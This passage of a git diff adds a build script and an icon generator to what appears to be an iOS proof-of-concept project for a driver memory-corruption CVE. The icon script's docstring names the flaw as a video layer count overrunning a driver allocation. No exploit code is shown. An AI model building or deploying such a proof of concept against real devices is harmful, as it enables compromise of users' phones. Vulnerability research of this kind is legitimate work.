emit("report=\(url.path)") + } +} diff --git a/scripts/build-device.sh b/scripts/build-device.sh new file mode 100755 index 0000000..34ed1b8 --- /dev/null +++ b/scripts/build-device.sh @@ -0,0 +1,69 @@ +#!/bin/bash +# Build an unsigned arm64 IPA for AVE27 (CVE-2026-112705 standalone POC). +# The IPA is deliberately unsigned — sign it with your own certificate / profile. +set -euo pipefail + +ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +OUT="$ROOT/build/device" +APP="$OUT/Payload/AVE27.app" +IPA="$ROOT/dist/AVE27-unsigned.ipa" +SDK="$(xcrun --sdk iphoneos --show-sdk-path)" +MIN_IOS="${MIN_IOS:-17.0}" + +echo "== icon ==" +if [ ! -f "$ROOT/Resources/AppIcon-1024.png" ]; then + python3 "$ROOT/scripts/gen_icon.py" > /dev/null +fi + +echo "== clean ==" +rm -rf "$OUT" +mkdir -p "$APP" + +echo "== compile (arm64, min iOS $MIN_IOS) ==" +xcrun --sdk iphoneos swiftc \ + -parse-as-library \ + -swift-version 5 \ + -O \ + -target "arm64-apple-ios$MIN_IOS" \ + -sdk "$SDK" \ + -o "$APP/AVE27" \ + "$ROOT"/Sources/*.swift + +echo "== resources ==" +cp "$ROOT/Info.plist" "$APP/Info.plist" +printf 'APPL????' > "$APP/PkgInfo" + +echo "== asset catalog ==" +xcrun actool "$ROOT/Resources/Assets.xcassets" \ + --compile "$APP" \ + --platform iphoneos \ + --minimum-deployment-target "$MIN_IOS" \ + --app-icon AppIcon \ + --output-partial-info-plist "$OUT/assetcatalog_generated_info.plist" \ + --target-device iphone \ + --target-device ipad > /dev/null + +echo "== merge asset catalog Info.plist keys ==" +python3 - "$APP/Info.plist" "$OUT/assetcatalog_generated_info.plist" <<'PY' +import plistlib, sys +info_path, partial_path = sys.argv[1], sys.argv[2] +with open(info_path, "rb") as fh: + info = plistlib.load(fh) +with open(partial_path, "rb") as fh: + partial = plistlib.load(fh) +partial.pop("com.apple.actool.compilation-results", None) +info.update(partial) +with open(info_path, "wb") as fh: + plistlib.dump(info, fh, fmt=plistlib.FMT_BINARY) +PY + +chmod 755 "$APP/AVE27" +chmod 644 "$APP/Info.plist" +/usr/bin/plutil -lint "$APP/Info.plist" + +echo "== package Payload/ -> .ipa ==" +mkdir -p "$ROOT/dist" +rm -f "$IPA" +( cd "$OUT" && zip -qry "$IPA" Payload ) +echo "IPA: $IPA" +ls -lh "$IPA" diff --git a/scripts/gen_icon.py b/scripts/gen_icon.py new file mode 100644 index 0000000..290d873 --- /dev/null +++ b/scripts/gen_icon.py @@ -0,0 +1,173 @@ +#!/usr/bin/env python3 +""" +gen_icon.py — the AVE27 app icon, drawn with a signed-distance renderer and +written as a raw PNG (no image library). + +The mark: a stack of five temporal layers — an SVC pyramid, widest at the base. +The top layer is displaced up and out past the stack's bounding edge: the layer +count that walks past what the driver sized. Deep slate field, steel layers, +the escaping layer in hot ember with the halo of the write landing somewhere +it was never allocated. +""" +import math +import os +import struct +import zlib + +OUT = os.path.join(os.path.dirname(os.path.abspath(__file__)), "..", "Resources", "Assets.xcassets", "AppIcon.appiconset") +os.makedirs(OUT, exist_ok=True) + +SIZE = 1024 + + +def srgb(c): + return max(0, min(255, int(round(c)))) + + +def mix(a, b, t): + return tuple(a[i] + (b[i] - a[i]) * t for i in range(3)) + + +def smoothstep(e0, e1, x): + t = max(0.0, min(1.0, (x - e0) / (e1 - e0))) + return t * t * (3 - 2 * t) + + +def sd_round_rect(px, py, cx, cy, hw, hh, r): + qx = abs(px - cx) - (hw - r) + qy = abs(py - cy) - (hh - r) + outside = math.hypot(max(qx, 0.0), max(qy, 0.0)) + inside = min(max(qx, qy), 0.0) + return outside + inside - r + + +# ---------------------------------------------------------------- palette +BG_TOP = (0.086, 0.094, 0.118) +BG_BOT = (0.024, 0.026, 0.038) +LAYER_COLD = (0.36, 0.44, 0.58) +LAYER_WARM = (0.52, 0.62, 0.78) +EMBER = (1.00, 0.44, 0.14) +EMBER_HOT = (1.00, 0.76, 0.38) + +# stack geometry: five layers, widths grow downward, top one escapes +STACK_CY = SIZE * 0.555 +LAYER_H = SIZE * 0.082 +LAYER_GAP = SIZE * 0.028 +BASE_HALF = SIZE * 0.30 +TOP_HALF = SIZE * 0.115 +LAYERS = 5 + +# the escape: top layer displaced up-right, past the stack's right edge +ESC_DX = SIZE * 0.145 +ESC_DY = -SIZE * 0.085 + + +def render(): + out = bytearray() + half = SIZE / 2 + radius = SIZE * 0.2237 + tau = math.tau + cos, sin, hypot = math.cos, math.sin, math.hypot + + # precompute layer rects: index 0 = base .. LAYERS-1 = top + step = LAYER_H + LAYER_GAP + total = LAYERS * LAYER_H + (LAYERS - 1) * LAYER_GAP + rects = [] + for i in range(LAYERS): + t = i / (LAYERS - 1) + hw = BASE_HALF + (TOP_HALF - BASE_HALF) * t + cy = STACK_CY + total / 2 - LAYER_H / 2 - i * step + cx = half + r = LAYER_H * 0.32 + rects.append((cx, cy, hw, LAYER_H / 2, r, t)) + + esc_rect = None + if LAYERS >= 1: + cx, cy, hw, hh, r, t = rects[-1] + esc_rect = (cx + ESC_DX, cy + ESC_DY, hw, hh, r, t) + + esc_cx, esc_cy = esc_rect[0], esc_rect[1] + halo_r = SIZE * 0.20 + + for y in range(SIZE): + out.append(0) + py = y + 0.5 + for x in range(SIZE): + px = x + 0.5 + + # background + g = py / SIZE + col = mix(BG_TOP, BG_BOT, g) + d = hypot(px - half, py - SIZE * 0.47) + lift = 1.0 - smoothstep(0.0, SIZE * 0.66, d) + col = tuple(min(1.0, col[i] + 0.05 * lift) for i in range(3)) + + # faint baseline under the stack + sd_base = abs(py - (STACK_CY + LAYER_H * 2.6)) - SIZE * 0.004 + if abs(px - half) < BASE_HALF * 1.25: + cov = 1.0 - smoothstep(-1.0, 1.0, sd_base) + col = mix(col, LAYER_COLD, cov * 0.22) + + # the stack: steel gradient, cold at base, warmer toward the top + for (cx, cy, hw, hh, r, t) in rects[:-1]: + sd = sd_round_rect(px, py, cx, cy, hw, hh, r) + if sd < 1.2: + cov = 1.0 - smoothstep(-1.2, 1.2, sd) + layer_col = mix(LAYER_COLD, LAYER_WARM, t) + col = mix(col, layer_col, cov * 0.9) + + # the escaping layer: ember, halo behind it + d_esc = hypot(px - esc_cx, py - esc_cy) + if d_esc < halo_r: + halo = 1.0 - smoothstep(0.0, halo_r, d_esc) + hk = 0.22 * halo * halo + col = tuple(min(1.0, col[i] + EMBER[i] * hk) for i in range(3)) + (cx, cy, hw, hh, r, t) = esc_rect + sd = sd_round_rect(px, py, cx, cy, hw, hh, r) + if sd < 1.2: + cov = 1.0 - smoothstep(-1.2, 1.2, sd) + # hot edge on the leading (upper-right) side + heat = smoothstep(0.0, 1.0, (px - cx + hw) / (2 * hw)) * 0.7 + col = mix(col, mix(EMBER, EMBER_HOT, heat), cov) + + # the trail: where the escaping layer used to sit — an ember outline + (cx, cy, hw, hh, r, t) = rects[-1] + sd_trail = abs(sd_round_rect(px, py, cx, cy, hw, hh, r)) - SIZE * 0.006 + if sd_trail < 1.2: + cov = (1.0 - smoothstep(-1.2, 1.2, sd_trail)) * 0.8 + col = mix(col, EMBER, cov) + + # rounded-rect alpha + sd_r = sd_round_rect(px, py, half, half, half - 0.5, half - 0.5, radius) + a = 1.0 - smoothstep(-0.75, 0.75, sd_r) + + out += bytes([srgb(min(1.0, col[0]) * 255), srgb(min(1.0, col[1]) * 255), + srgb(min(1.0, col[2]) * 255), srgb(a * 255)]) + return bytes(out) + + +def write_png(path, width, height, rgba): + def chunk(tag, data): + c = struct.pack(">I", len(data)) + tag + data + c += struct.pack(">I", zlib.crc32(tag + data) & 0xFFFFFFFF) + return c + + ihdr = struct.pack(">IIBBBBB", width, height, 8, 6, 0, 0, 0) + raw = zlib.compress(rgba, 9) + png = (b"\x89PNG\r\n\x1a\n" + + chunk(b"IHDR", ihdr) + + chunk(b"IDAT", raw) + + chunk(b"IEND", b"")) + with open(path, "wb") as f: + f.write(png) + + +def main(): + data = render() + icon = os.path.join(OUT, "AppIcon-1024.png") + write_png(icon, SIZE, SIZE, data) + print("wrote", icon, os.path.getsize(icon), "bytes") + + +if __name__ == "__main__": + main()